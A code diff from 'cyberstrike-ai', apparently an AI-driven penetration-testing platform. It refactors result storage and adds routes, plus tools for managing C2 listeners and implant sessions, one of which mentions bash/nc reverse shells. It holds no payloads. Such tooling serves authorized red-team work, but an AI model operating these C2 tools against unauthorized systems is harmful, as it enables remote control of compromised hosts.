+  fact_index_path_max_runes: 10000 
+  fact_summary_max_runes: 24000
   default_inject_deprecated: false
-  
+

internal/agent/agent.go

@@ -18,7 +18,6 @@ import (
 	"cyberstrike-ai/internal/mcp"
 	"cyberstrike-ai/internal/mcp/builtin"
 	"cyberstrike-ai/internal/openai"
-	"cyberstrike-ai/internal/storage"
 
 	"go.uber.org/zap"
 )
@@ -32,8 +31,6 @@ type Agent struct {
 	externalMCPMgr        *mcp.ExternalMCPManager // 外部MCP管理器
 	logger                *zap.Logger
 	maxIterations         int
-	resultStorage         ResultStorage     // 结果存储
-	largeResultThreshold  int               // 大结果阈值（字节）
 	mu                    sync.RWMutex      // 添加互斥锁以支持并发更新
 	toolNameMapping       map[string]string // 工具名称映射：OpenAI格式 -> 原始格式（用于外部MCP工具）
 	currentConversationID string            // 当前对话ID（用于自动传递给工具）
@@ -41,18 +38,6 @@ type Agent struct {
 	toolDescriptionMode   string            // 工具描述模式: "short" | "full"，默认 short
 }
 
-// ResultStorage 结果存储接口（直接使用 storage 包的类型）
-type ResultStorage interface {
-	SaveResult(executionID string, toolName string, result string) error
-	GetResult(executionID string) (string, error)
-	GetResultPage(executionID string, page int, limit int) (*storage.ResultPage, error)
-	SearchResult(executionID string, keyword string, useRegex bool) ([]string, error)
-	FilterResult(executionID string, filter string, useRegex bool) ([]string, error)
-	GetResultMetadata(executionID string) (*storage.ResultMetadata, error)
-	GetResultPath(executionID string) string
-	DeleteResult(executionID string) error
-}
-
 type agentConversationIDKey struct{}
 
 func withAgentConversationID(ctx context.Context, id string) context.Context {
@@ -83,26 +68,6 @@ func NewAgent(cfg *config.OpenAIConfig, agentCfg *config.AgentConfig, mcpServer
 		maxIterations = 30
 	}
 
-	// 设置大结果阈值，默认50KB
-	largeResultThreshold := 50 * 1024
-	if agentCfg != nil && agentCfg.LargeResultThreshold > 0 {
-		largeResultThreshold = agentCfg.LargeResultThreshold
-	}
-
-	// 设置结果存储目录，默认tmp
-	resultStorageDir := "tmp"
-	if agentCfg != nil && agentCfg.ResultStorageDir != "" {
-		resultStorageDir = agentCfg.ResultStorageDir
-	}
-
-	// 初始化结果存储
-	var resultStorage ResultStorage
-	if resultStorageDir != "" {
-		// 导入storage包（避免循环依赖，使用接口）
-		// 这里需要在实际使用时初始化
-		// 暂时设为nil，在需要时初始化
-	}
-
 	// 配置HTTP Transport，优化连接管理和超时设置
 	transport := &http.Transport{
 		DialContext: (&net.Dialer{
@@ -133,20 +98,11 @@ func NewAgent(cfg *config.OpenAIConfig, agentCfg *config.AgentConfig, mcpServer
 		externalMCPMgr:       externalMCPMgr,
 		logger:               logger,
 		maxIterations:        maxIterations,
-		resultStorage:        resultStorage,
-		largeResultThreshold: largeResultThreshold,
 		toolNameMapping:      make(map[string]string), // 初始化工具名称映射
 		toolDescriptionMode:  "short",
 	}
 }
 
-// SetResultStorage 设置结果存储（用于避免循环依赖）
-func (a *Agent) SetResultStorage(storage ResultStorage) {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	a.resultStorage = storage
-}
-
 // SetPromptBaseDir 设置单代理 system_prompt_path 相对路径的基准目录（一般为 config.yaml 所在目录）。
 func (a *Agent) SetPromptBaseDir(dir string) {
 	a.mu.Lock()
@@ -663,46 +619,6 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
 	}
 
 	resultStr := resultText.String()
-	resultSize := len(resultStr)
-
-	// 检测大结果并保存
-	a.mu.RLock()
-	threshold := a.largeResultThreshold
-	storage := a.resultStorage
-	a.mu.RUnlock()
-
-	if resultSize > threshold && storage != nil {
-		// 异步保存大结果
-		go func() {
-			if err := storage.SaveResult(executionID, toolName, resultStr); err != nil {
-				a.logger.Warn("保存大结果失败",
-					zap.String("executionID", executionID),
-					zap.String("toolName", toolName),
-					zap.Error(err),
-				)
-			} else {
-				a.logger.Info("大结果已保存",
-					zap.String("executionID", executionID),
-					zap.String("toolName", toolName),
-					zap.Int("size", resultSize),
-				)
-			}
-		}()
-
-		// 返回最小化通知
-		lines := strings.Split(resultStr, "\n")
-		filePath := ""
-		if storage != nil {
-			filePath = storage.GetResultPath(executionID)
-		}
-		notification := a.formatMinimalNotification(executionID, toolName, resultSize, len(lines), filePath)
-
-		return &ToolExecutionResult{
-			Result:      notification,
-			ExecutionID: executionID,
-			IsError:     result != nil && result.IsError,
-		}, nil
-	}
 
 	return &ToolExecutionResult{
 		Result:      resultStr,
@@ -711,57 +627,6 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
 	}, nil
 }
 
-// formatMinimalNotification 格式化最小化通知
-func (a *Agent) formatMinimalNotification(executionID string, toolName string, size int, lineCount int, filePath string) string {
-	var sb strings.Builder
-
-	sb.WriteString(fmt.Sprintf("工具执行完成。结果已保存（ID: %s）。\n\n", executionID))
-	sb.WriteString("结果信息：\n")
-	sb.WriteString(fmt.Sprintf("  - 工具: %s\n", toolName))
-	sb.WriteString(fmt.Sprintf("  - 大小: %d 字节 (%.2f KB)\n", size, float64(size)/1024))
-	sb.WriteString(fmt.Sprintf("  - 行数: %d 行\n", lineCount))
-	if filePath != "" {
-		sb.WriteString(fmt.Sprintf("  - 文件路径: %s\n", filePath))
-	}
-	sb.WriteString("\n")
-	sb.WriteString("推荐使用 query_execution_result 工具查询完整结果：\n")
-	sb.WriteString(fmt.Sprintf("  - 查询第一页: query_execution_result(execution_id=\"%s\", page=1, limit=100)\n", executionID))
-	sb.WriteString(fmt.Sprintf("  - 搜索关键词: query_execution_result(execution_id=\"%s\", search=\"关键词\")\n", executionID))
-	sb.WriteString(fmt.Sprintf("  - 过滤条件: query_execution_result(execution_id=\"%s\", filter=\"error\")\n", executionID))
-	sb.WriteString(fmt.Sprintf("  - 正则匹配: query_execution_result(execution_id=\"%s\", search=\"\\\\d+\\\\.\\\\d+\\\\.\\\\d+\\\\.\\\\d+\", use_regex=true)\n", executionID))
-	sb.WriteString("\n")
-	if filePath != "" {
-		sb.WriteString("如果 query_execution_result 工具不满足需求，也可以使用其他工具处理文件：\n")
-		sb.WriteString("\n")
-		sb.WriteString("**分段读取示例：**\n")
-		sb.WriteString(fmt.Sprintf("  - 查看前100行: exec(command=\"head\", args=[\"-n\", \"100\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 查看后100行: exec(command=\"tail\", args=[\"-n\", \"100\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 查看第50-150行: exec(command=\"sed\", args=[\"-n\", \"50,150p\", \"%s\"])\n", filePath))
-		sb.WriteString("\n")
-		sb.WriteString("**搜索和正则匹配示例：**\n")
-		sb.WriteString(fmt.Sprintf("  - 搜索关键词: exec(command=\"grep\", args=[\"关键词\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 正则匹配IP地址: exec(command=\"grep\", args=[\"-E\", \"\\\\d+\\\\.\\\\d+\\\\.\\\\d+\\\\.\\\\d+\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 不区分大小写搜索: exec(command=\"grep\", args=[\"-i\", \"关键词\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 显示匹配行号: exec(command=\"grep\", args=[\"-n\", \"关键词\", \"%s\"])\n", filePath))
-		sb.WriteString("\n")
-		sb.WriteString("**过滤和统计示例：**\n")
-		sb.WriteString(fmt.Sprintf("  - 统计总行数: exec(command=\"wc\", args=[\"-l\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 过滤包含error的行: exec(command=\"grep\", args=[\"error\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 排除空行: exec(command=\"grep\", args=[\"-v\", \"^$\", \"%s\"])\n", filePath))
-		sb.WriteString("\n")
-		sb.WriteString("**完整读取（不推荐大文件）：**\n")
-		sb.WriteString(fmt.Sprintf("  - 使用 cat 工具: cat(file=\"%s\")\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 使用 exec 工具: exec(command=\"cat\", args=[\"%s\"])\n", filePath))
-		sb.WriteString("\n")
-		sb.WriteString("**注意：**\n")
-		sb.WriteString("  - 直接读取大文件可能会再次触发大结果保存机制\n")
-		sb.WriteString("  - 建议优先使用分段读取和搜索功能，避免一次性加载整个文件\n")
-		sb.WriteString("  - 正则表达式语法遵循标准 POSIX 正则表达式规范\n")
-	}
-
-	return sb.String()
-}
-
 // UpdateConfig 更新OpenAI配置
 func (a *Agent) UpdateConfig(cfg *config.OpenAIConfig) {
 	a.mu.Lock()
@@ -923,6 +788,23 @@ func (a *Agent) RecordLocalToolExecution(toolName string, args map[string]interf
 	return a.mcpServer.RecordCompletedToolInvocation(toolName, args, resultText, invokeErr)
 }
 
+// UpdateMCPExecutionDisplayResult 将监控库中的工具结果更新为送入模型的展示正文（reduction 后）。
+func (a *Agent) UpdateMCPExecutionDisplayResult(executionID, resultText string) {
+	if a == nil || strings.TrimSpace(executionID) == "" {
+		return
+	}
+	text := resultText
+	if strings.TrimSpace(text) == "" {
+		text = "（无输出）"
+	}
+	tr := &mcp.ToolResult{
+		Content: []mcp.Content{{Type: "text", Text: text}},
+	}
+	if a.mcpServer != nil {
+		_ = a.mcpServer.UpdateToolExecutionResult(executionID, tr)
+	}
+}
+
 // CancelMCPToolExecutionWithNote 取消一次进行中的 MCP 工具（先内部后外部），与监控页「终止工具」一致；note 非空时合并进返回给模型的文本。
 func (a *Agent) CancelMCPToolExecutionWithNote(executionID, note string) bool {
 	executionID = strings.TrimSpace(executionID)

internal/agent/agent_test.go

@@ -1,21 +1,16 @@
 package agent
 
 import (
-	"os"
-	"path/filepath"
-	"strings"
 	"testing"
-	"time"
 
 	"cyberstrike-ai/internal/config"
 	"cyberstrike-ai/internal/mcp"
-	"cyberstrike-ai/internal/storage"
 
 	"go.uber.org/zap"
 )
 
 // setupTestAgent 创建测试用的Agent
-func setupTestAgent(t *testing.T) (*Agent, *storage.FileResultStorage) {
+func setupTestAgent(t *testing.T) *Agent {
 	logger := zap.NewNop()
 	mcpServer := mcp.NewServer(logger)
 
@@ -26,205 +21,10 @@ func setupTestAgent(t *testing.T) (*Agent, *storage.FileResultStorage) {
 	}
 
 	agentCfg := &config.AgentConfig{
-		MaxIterations:        10,
+		MaxIterations: 10,
-		LargeResultThreshold: 100, // 设置较小的阈值便于测试
-		ResultStorageDir:     "",
 	}
 
-	agent := NewAgent(openAICfg, agentCfg, mcpServer, nil, logger, 10)
+	return NewAgent(openAICfg, agentCfg, mcpServer, nil, logger, 10)
-
-	// 创建测试存储
-	tmpDir := filepath.Join(os.TempDir(), "test_agent_storage_"+time.Now().Format("20060102_150405"))
-	testStorage, err := storage.NewFileResultStorage(tmpDir, logger)
-	if err != nil {
-		t.Fatalf("创建测试存储失败: %v", err)
-	}
-
-	agent.SetResultStorage(testStorage)
-
-	return agent, testStorage
-}
-
-func TestAgent_FormatMinimalNotification(t *testing.T) {
-	agent, testStorage := setupTestAgent(t)
-	_ = testStorage // 避免未使用变量警告
-
-	executionID := "test_exec_001"
-	toolName := "nmap_scan"
-	size := 50000
-	lineCount := 1000
-	filePath := "tmp/test_exec_001.txt"
-
-	notification := agent.formatMinimalNotification(executionID, toolName, size, lineCount, filePath)
-
-	// 验证通知包含必要信息
-	if !strings.Contains(notification, executionID) {
-		t.Errorf("通知中应该包含执行ID: %s", executionID)
-	}
-
-	if !strings.Contains(notification, toolName) {
-		t.Errorf("通知中应该包含工具名称: %s", toolName)
-	}
-
-	if !strings.Contains(notification, "50000") {
-		t.Errorf("通知中应该包含大小信息")
-	}
-
-	if !strings.Contains(notification, "1000") {
-		t.Errorf("通知中应该包含行数信息")
-	}
-
-	if !strings.Contains(notification, "query_execution_result") {
-		t.Errorf("通知中应该包含查询工具的使用说明")
-	}
-}
-
-func TestAgent_ExecuteToolViaMCP_LargeResult(t *testing.T) {
-	agent, _ := setupTestAgent(t)
-
-	// 创建模拟的MCP工具结果（大结果）
-	largeResult := &mcp.ToolResult{
-		Content: []mcp.Content{
-			{
-				Type: "text",
-				Text: strings.Repeat("This is a test line with some content.\n", 1000), // 约50KB
-			},
-		},
-		IsError: false,
-	}
-
-	// 模拟MCP服务器返回大结果
-	// 由于我们需要模拟CallTool的行为，这里需要创建一个mock或者使用实际的MCP服务器
-	// 为了简化测试，我们直接测试结果处理逻辑
-
-	// 设置阈值
-	agent.mu.Lock()
-	agent.largeResultThreshold = 1000 // 设置较小的阈值
-	agent.mu.Unlock()
-
-	// 创建执行ID
-	executionID := "test_exec_large_001"
-	toolName := "test_tool"
-
-	// 格式化结果
-	var resultText strings.Builder
-	for _, content := range largeResult.Content {
-		resultText.WriteString(content.Text)
-		resultText.WriteString("\n")
-	}
-
-	resultStr := resultText.String()
-	resultSize := len(resultStr)
-
-	// 检测大结果并保存
-	agent.mu.RLock()
-	threshold := agent.largeResultThreshold
-	storage := agent.resultStorage
-	agent.mu.RUnlock()
-
-	if resultSize > threshold && storage != nil {
-		// 保存大结果
-		err := storage.SaveResult(executionID, toolName, resultStr)
-		if err != nil {
-			t.Fatalf("保存大结果失败: %v", err)
-		}
-
-		// 生成通知
-		lines := strings.Split(resultStr, "\n")
-		filePath := storage.GetResultPath(executionID)
-		notification := agent.formatMinimalNotification(executionID, toolName, resultSize, len(lines), filePath)
-
-		// 验证通知格式
-		if !strings.Contains(notification, executionID) {
-			t.Errorf("通知中应该包含执行ID")
-		}
-
-		// 验证结果已保存
-		savedResult, err := storage.GetResult(executionID)
-		if err != nil {
-			t.Fatalf("获取保存的结果失败: %v", err)
-		}
-
-		if savedResult != resultStr {
-			t.Errorf("保存的结果与原始结果不匹配")
-		}
-	} else {
-		t.Fatal("大结果应该被检测到并保存")
-	}
-}
-
-func TestAgent_ExecuteToolViaMCP_SmallResult(t *testing.T) {
-	agent, _ := setupTestAgent(t)
-
-	// 创建小结果
-	smallResult := &mcp.ToolResult{
-		Content: []mcp.Content{
-			{
-				Type: "text",
-				Text: "Small result content",
-			},
-		},
-		IsError: false,
-	}
-
-	// 设置较大的阈值
-	agent.mu.Lock()
-	agent.largeResultThreshold = 100000 // 100KB
-	agent.mu.Unlock()
-
-	// 格式化结果
-	var resultText strings.Builder
-	for _, content := range smallResult.Content {
-		resultText.WriteString(content.Text)
-		resultText.WriteString("\n")
-	}
-
-	resultStr := resultText.String()
-	resultSize := len(resultStr)
-
-	// 检测大结果
-	agent.mu.RLock()
-	threshold := agent.largeResultThreshold
-	storage := agent.resultStorage
-	agent.mu.RUnlock()
-
-	if resultSize > threshold && storage != nil {
-		t.Fatal("小结果不应该被保存")
-	}
-
-	// 小结果应该直接返回
-	if resultSize <= threshold {
-		// 这是预期的行为
-		if resultStr == "" {
-			t.Fatal("小结果应该直接返回，不应该为空")
-		}
-	}
-}
-
-func TestAgent_SetResultStorage(t *testing.T) {
-	agent, _ := setupTestAgent(t)
-
-	// 创建新的存储
-	tmpDir := filepath.Join(os.TempDir(), "test_new_storage_"+time.Now().Format("20060102_150405"))
-	newStorage, err := storage.NewFileResultStorage(tmpDir, zap.NewNop())
-	if err != nil {
-		t.Fatalf("创建新存储失败: %v", err)
-	}
-
-	// 设置新存储
-	agent.SetResultStorage(newStorage)
-
-	// 验证存储已更新
-	agent.mu.RLock()
-	currentStorage := agent.resultStorage
-	agent.mu.RUnlock()
-
-	if currentStorage != newStorage {
-		t.Fatal("存储未正确更新")
-	}
-
-	// 清理
-	os.RemoveAll(tmpDir)
 }
 
 func TestAgent_NewAgent_DefaultValues(t *testing.T) {
@@ -243,14 +43,6 @@ func TestAgent_NewAgent_DefaultValues(t *testing.T) {
 	if agent.maxIterations != 30 {
 		t.Errorf("默认迭代次数不匹配。期望: 30, 实际: %d", agent.maxIterations)
 	}
-
-	agent.mu.RLock()
-	threshold := agent.largeResultThreshold
-	agent.mu.RUnlock()
-
-	if threshold != 50*1024 {
-		t.Errorf("默认阈值不匹配。期望: %d, 实际: %d", 50*1024, threshold)
-	}
 }
 
 func TestAgent_NewAgent_CustomConfig(t *testing.T) {
@@ -264,9 +56,7 @@ func TestAgent_NewAgent_CustomConfig(t *testing.T) {
 	}
 
 	agentCfg := &config.AgentConfig{
-		MaxIterations:        20,
+		MaxIterations: 20,
-		LargeResultThreshold: 100 * 1024, // 100KB
-		ResultStorageDir:     "custom_tmp",
 	}
 
 	agent := NewAgent(openAICfg, agentCfg, mcpServer, nil, logger, 15)
@@ -274,12 +64,4 @@ func TestAgent_NewAgent_CustomConfig(t *testing.T) {
 	if agent.maxIterations != 15 {
 		t.Errorf("迭代次数不匹配。期望: 15, 实际: %d", agent.maxIterations)
 	}
-
-	agent.mu.RLock()
-	threshold := agent.largeResultThreshold
-	agent.mu.RUnlock()
-
-	if threshold != 100*1024 {
-		t.Errorf("阈值不匹配。期望: %d, 实际: %d", 100*1024, threshold)
-	}
 }

internal/agent/default_single_system_prompt.go

@@ -1,7 +1,7 @@
 package agent
 
 import (
-	"cyberstrike-ai/internal/project"
+	"cyberstrike-ai/internal/projectprompt"
 )
 
 // DefaultSingleAgentSystemPrompt 单代理（Eino ADK / MCP）内置系统提示；可通过 agent.system_prompt_path 覆盖为文件。
@@ -107,7 +107,7 @@ func DefaultSingleAgentSystemPrompt() string {
 - 若最近一步得到 404/空结果/无效响应，不得直接结束；至少再进行一次“同目标不同策略”的验证（如变更路径、参数、请求方法、上下文来源）。
 - 避免无效空转：同一工具+同类参数连续失败 3 次后，必须切换策略（改工具、改入口、改假设）并说明切换原因。
 
-` + project.FactRecordingBlackboardSection(false) + `
+` + projectprompt.FactRecordingBlackboardSection(false) + `
 
 ## 技能库（Skills）与知识库
 

internal/app/app.go

@@ -25,10 +25,10 @@ import (
 	"cyberstrike-ai/internal/logger"
 	"cyberstrike-ai/internal/mcp"
 	"cyberstrike-ai/internal/mcp/builtin"
+	"cyberstrike-ai/internal/monitor"
 	"cyberstrike-ai/internal/robot"
 	"cyberstrike-ai/internal/security"
 	"cyberstrike-ai/internal/skillpackage"
-	"cyberstrike-ai/internal/storage"
 
 	"github.com/gin-gonic/gin"
 	"github.com/google/uuid"
@@ -100,6 +100,10 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
 	auditSvc.PurgeExpired()
 	audit.StartRetentionLoop(auditSvc, log.Logger)
 
+	monitorRetention := monitor.NewService(db, cfg, log.Logger)
+	monitorRetention.PurgeExpired()
+	monitor.StartRetentionLoop(monitorRetention, log.Logger)
+
 	// 创建MCP服务器（带数据库持久化）
 	mcpServer := mcp.NewServerWithStorage(log.Logger, db)
 	mcpServer.ConfigureHTTPToolCallTimeoutFromAgentMinutes(cfg.Agent.ToolTimeoutMinutes)
@@ -130,23 +134,6 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
 		externalMCPMgr.StartAllEnabled()
 	}
 
-	// 初始化结果存储
-	resultStorageDir := "tmp"
-	if cfg.Agent.ResultStorageDir != "" {
-		resultStorageDir = cfg.Agent.ResultStorageDir
-	}
-
-	// 确保存储目录存在
-	if err := os.MkdirAll(resultStorageDir, 0755); err != nil {
-		return nil, fmt.Errorf("创建结果存储目录失败: %w", err)
-	}
-
-	// 创建结果存储实例
-	resultStorage, err := storage.NewFileResultStorage(resultStorageDir, log.Logger)
-	if err != nil {
-		return nil, fmt.Errorf("初始化结果存储失败: %w", err)
-	}
-
 	// 创建Agent
 	maxIterations := cfg.Agent.MaxIterations
 	if maxIterations <= 0 {
@@ -155,12 +142,6 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
 	agent := agent.NewAgent(&cfg.OpenAI, &cfg.Agent, mcpServer, externalMCPMgr, log.Logger, maxIterations)
 	agent.UpdateToolDescriptionMode(cfg.Security.ToolDescriptionMode)
 
-	// 设置结果存储到Agent
-	agent.SetResultStorage(resultStorage)
-
-	// 设置结果存储到Executor（用于查询工具）
-	executor.SetResultStorage(resultStorage)
-
 	// 初始化知识库模块（如果启用）
 	var knowledgeManager *knowledge.Manager
 	var knowledgeRetriever *knowledge.Retriever
@@ -315,6 +296,15 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
 	skillsDir := skillpackage.SkillsRootFromConfig(cfg.SkillsDir, configPath)
 	log.Logger.Info("Skills 目录（Eino ADK skill 中间件 + Web 管理 API）", zap.String("skillsDir", skillsDir))
 	configDir := filepath.Dir(configPath)
+	plantaskRel := strings.TrimSpace(cfg.MultiAgent.EinoMiddleware.PlantaskRelDir)
+	if plantaskRel == "" {
+		plantaskRel = ".eino/plantask"
+	}
+	plantaskBase := filepath.Join(skillsDir, plantaskRel)
+	// Match eino_adk_run_loop: checkpoint_dir is used as configured (relative to process CWD when not absolute).
+	checkpointBase := strings.TrimSpace(cfg.MultiAgent.EinoMiddleware.CheckpointDir)
+	reductionRoot := strings.TrimSpace(cfg.MultiAgent.EinoMiddleware.ReductionRootDir)
+	db.SetEinoConversationDirs(plantaskBase, checkpointBase, reductionRoot)
 	agent.SetPromptBaseDir(configDir)
 
 	agentsDir := cfg.AgentsDir
@@ -341,6 +331,7 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
 	}
 	monitorHandler := handler.NewMonitorHandler(mcpServer, executor, db, log.Logger)
 	monitorHandler.SetAudit(auditSvc)
+	monitorHandler.SetMonitorRetention(monitorRetention)
 	monitorHandler.SetExternalMCPManager(externalMCPMgr) // 设置外部MCP管理器，以便获取外部MCP执行记录
 	notificationHandler := handler.NewNotificationHandler(db, agentHandler, log.Logger)
 	groupHandler := handler.NewGroupHandler(db, log.Logger)
@@ -384,9 +375,10 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
 	// 创建OpenAPI处理器
 	conversationHandler := handler.NewConversationHandler(db, log.Logger)
 	conversationHandler.SetAudit(auditSvc)
+	conversationHandler.SetTaskStopper(agentHandler)
 	auditHandler := handler.NewAuditHandler(db, auditSvc, log.Logger)
 	robotHandler := handler.NewRobotHandler(cfg, db, agentHandler, log.Logger)
-	openAPIHandler := handler.NewOpenAPIHandler(db, log.Logger, resultStorage, conversationHandler, agentHandler)
+	openAPIHandler := handler.NewOpenAPIHandler(db, log.Logger, conversationHandler, agentHandler)
 
 	// 创建 App 实例（部分字段稍后填充）
 	app := &App{
@@ -845,6 +837,7 @@ func setupRoutes(
 		protected.PUT("/batch-tasks/:queueId/schedule-enabled", agentHandler.SetBatchQueueScheduleEnabled)
 		protected.DELETE("/batch-tasks/:queueId", agentHandler.DeleteBatchQueue)
 		protected.PUT("/batch-tasks/:queueId/tasks/:taskId", agentHandler.UpdateBatchTask)
+		protected.POST("/batch-tasks/:queueId/tasks/:taskId/run", agentHandler.RunSingleBatchTask)
 		protected.POST("/batch-tasks/:queueId/tasks", agentHandler.AddBatchTask)
 		protected.DELETE("/batch-tasks/:queueId/tasks/:taskId", agentHandler.DeleteBatchTask)
 
@@ -892,6 +885,7 @@ func setupRoutes(
 		protected.POST("/config/apply", configHandler.ApplyConfig)
 		protected.POST("/config/test-openai", configHandler.TestOpenAI)
 		protected.POST("/config/test-vision", configHandler.TestVision)
+		protected.POST("/config/list-models", configHandler.ListModels)
 
 		// 系统设置 - 终端（执行命令，提高运维效率）
 		protected.POST("/terminal/run", terminalHandler.RunCommand)
@@ -1083,6 +1077,11 @@ func setupRoutes(
 		protected.GET("/projects/:id", projectHandler.GetProject)
 		protected.PUT("/projects/:id", projectHandler.UpdateProject)
 		protected.DELETE("/projects/:id", projectHandler.DeleteProject)
+		protected.GET("/projects/:id/fact-graph", projectHandler.GetFactGraph)
+		protected.GET("/projects/:id/fact-edges", projectHandler.ListFactEdges)
+		protected.POST("/projects/:id/fact-edges", projectHandler.CreateFactEdge)
+		protected.DELETE("/projects/:id/fact-edges/:edgeId", projectHandler.DeleteFactEdge)
+		protected.POST("/projects/:id/promote-attack-chain/:conversationId", projectHandler.PromoteAttackChain)
 		protected.GET("/projects/:id/facts", projectHandler.ListFacts)
 		protected.POST("/projects/:id/facts", projectHandler.CreateFact)
 		protected.PUT("/projects/:id/facts/:factId", projectHandler.UpdateFact)
@@ -1123,6 +1122,7 @@ func setupRoutes(
 		c2Routes.POST("/listeners/:id/start", c2Handler.StartListener)
 		c2Routes.POST("/listeners/:id/stop", c2Handler.StopListener)
 		c2Routes.GET("/sessions", c2Handler.ListSessions)
+		c2Routes.DELETE("/sessions", c2Handler.DeleteSessions)
 		c2Routes.GET("/sessions/:id", c2Handler.GetSession)
 		c2Routes.DELETE("/sessions/:id", c2Handler.DeleteSession)
 		c2Routes.PUT("/sessions/:id/sleep", c2Handler.SetSessionSleep)

internal/app/c2_tools.go

@@ -61,6 +61,7 @@ func registerC2ListenerTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webList
 - stop: 停止监听器（需 listener_id）
 - delete: 删除监听器（需 listener_id）
 监听器类型: tcp_reverse, http_beacon, https_beacon, websocket
+tcp_reverse 默认仅接受 CSB1 加密 Beacon（AES-GCM + ImplantToken）才登记会话；经典 bash/nc 反弹需在 config.allow_legacy_shell=true（公网不推荐）。
 端口约束：create/update 的 bind_port 禁止与本平台 Web/API 所用端口相同。当前本服务该端口为 %d（配置项 server.port，随进程启动从配置文件加载）。若 bind_port 与此相同会导致本服务或监听器 bind 失败、Beacon/oneliner 误连到 Web 而非 C2。请为监听器另选空闲端口。`, webListenPort),
 		InputSchema: map[string]interface{}{
 			"type": "object",
@@ -74,7 +75,7 @@ func registerC2ListenerTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webList
 				"bind_port":   map[string]interface{}{"type": "integer", "description": fmt.Sprintf("绑定端口（create 必填）。须 ≠ %d（当前本服务 Web/API 端口，配置 server.port）", webListenPort), "minimum": 1, "maximum": 65535},
 				"profile_id":  map[string]interface{}{"type": "string", "description": "Malleable Profile ID"},
 				"remark":      map[string]interface{}{"type": "string", "description": "备注"},
-				"config":      map[string]interface{}{"type": "object", "description": "高级配置（beacon 路径/TLS/OPSEC 等），create/update 可用"},
+				"config":      map[string]interface{}{"type": "object", "description": "高级配置（beacon 路径/TLS/OPSEC 等），create/update 可用。tcp_reverse 可选 allow_legacy_shell:true 允许未加密经典 shell（默认 false）"},
 			},
 			"required": []string{"action"},
 		},
@@ -222,20 +223,23 @@ func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
 	s.RegisterTool(mcp.Tool{
 		Name: builtin.ToolC2Session,
 		Description: `C2 会话管理。通过 action 参数选择操作：
-- list: 列出会话（可按 listener_id/status/os/search 过滤）
+- list: 列出会话（可按 listener_id/status/os/search/suspicious 过滤）
 - get: 获取会话详情及最近任务历史（需 session_id）
 - set_sleep: 设置心跳间隔（需 session_id）
 - kill: 下发 exit 任务让 implant 退出（需 session_id）
-- delete: 删除会话记录（需 session_id）`,
+- delete: 删除单个会话记录（需 session_id）
+- delete_batch: 批量删除会话（需 session_ids 数组）`,
 		InputSchema: map[string]interface{}{
 			"type": "object",
 			"properties": map[string]interface{}{
-				"action":         map[string]interface{}{"type": "string", "description": "操作: list/get/set_sleep/kill/delete", "enum": []string{"list", "get", "set_sleep", "kill", "delete"}},
+				"action":         map[string]interface{}{"type": "string", "description": "操作: list/get/set_sleep/kill/delete/delete_batch", "enum": []string{"list", "get", "set_sleep", "kill", "delete", "delete_batch"}},
 				"session_id":     map[string]interface{}{"type": "string", "description": "会话 ID（get/set_sleep/kill/delete 需要）"},
+				"session_ids":    map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}, "description": "会话 ID 列表（delete_batch）"},
 				"listener_id":    map[string]interface{}{"type": "string", "description": "按监听器过滤（list）"},
 				"status":         map[string]interface{}{"type": "string", "description": "按状态过滤: active/sleeping/dead/killed（list）"},
 				"os":             map[string]interface{}{"type": "string", "description": "按 OS 过滤: linux/windows/darwin（list）"},
 				"search":         map[string]interface{}{"type": "string", "description": "模糊搜索 hostname/username/IP（list）"},
+				"suspicious":     map[string]interface{}{"type": "boolean", "description": "仅疑似误报：离线且 tcp_* / unknown / PID 0（list）"},
 				"limit":          map[string]interface{}{"type": "integer", "description": "返回数量上限（list）"},
 				"sleep_seconds":  map[string]interface{}{"type": "integer", "description": "心跳间隔秒数（set_sleep）"},
 				"jitter_percent": map[string]interface{}{"type": "integer", "description": "抖动百分比 0-100（set_sleep）"},
@@ -257,6 +261,9 @@ func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
 			if limit := int(getFloat64(params, "limit")); limit > 0 {
 				filter.Limit = limit
 			}
+			if v, ok := params["suspicious"].(bool); ok && v {
+				filter.Suspicious = true
+			}
 			sessions, err := m.DB().ListC2Sessions(filter)
 			return makeC2Result(map[string]interface{}{"sessions": sessions, "count": len(sessions)}, err)
 
@@ -274,8 +281,16 @@ func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
 		case "set_sleep":
 			sleep := int(getFloat64(params, "sleep_seconds"))
 			jitter := int(getFloat64(params, "jitter_percent"))
-			err := m.DB().SetC2SessionSleep(id, sleep, jitter)
+			task, err := m.SetSessionSleep(id, sleep, jitter)
-			return makeC2Result(map[string]interface{}{"updated": err == nil, "sleep_seconds": sleep, "jitter_percent": jitter}, err)
+			out := map[string]interface{}{
+				"updated":        err == nil,
+				"sleep_seconds":  sleep,
+				"jitter_percent": jitter,
+			}
+			if task != nil {
+				out["task_id"] = task.ID
+			}
+			return makeC2Result(out, err)
 
 		case "kill":
 			task, err := m.EnqueueTask(c2.EnqueueTaskInput{
@@ -292,6 +307,17 @@ func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
 			err := m.DB().DeleteC2Session(id)
 			return makeC2Result(map[string]interface{}{"deleted": err == nil}, err)
 
+		case "delete_batch":
+			rawIDs, _ := params["session_ids"].([]interface{})
